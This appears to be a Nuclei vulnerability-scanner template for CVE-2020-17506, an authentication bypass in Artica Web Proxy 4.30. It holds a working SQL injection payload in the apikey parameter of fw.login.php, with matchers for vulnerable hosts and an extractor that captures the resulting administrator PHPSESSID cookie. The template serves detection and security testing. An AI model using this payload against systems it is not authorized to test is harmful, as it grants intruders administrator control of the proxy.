nuclei-templates/cves/CVE-2020-17506.yaml

43 lines
1.2 KiB
YAML

id: CVE-2020-17506
info:
name: Artica Web Proxy 4.30 Authentication Bypass
author: dwisiswant0
severity: critical
description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
# Artica Web Proxy 4.30.00000000
# allows remote attacker to bypass privilege detection
# and gain web backend administrator privileges
# through SQL injection of the apikey parameter in fw.login.php.
# -
# References:
# > https://blog.max0x4141.com/post/artica_proxy/
requests:
- method: GET
path:
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
words:
- "artica-applianc"
- type: status
status:
- 200
- 301
- 302
condition: or
- type: word
name: session
words:
- "PHPSESSID"
part: header
extractors:
- type: kval
kval:
- "PHPSESSID"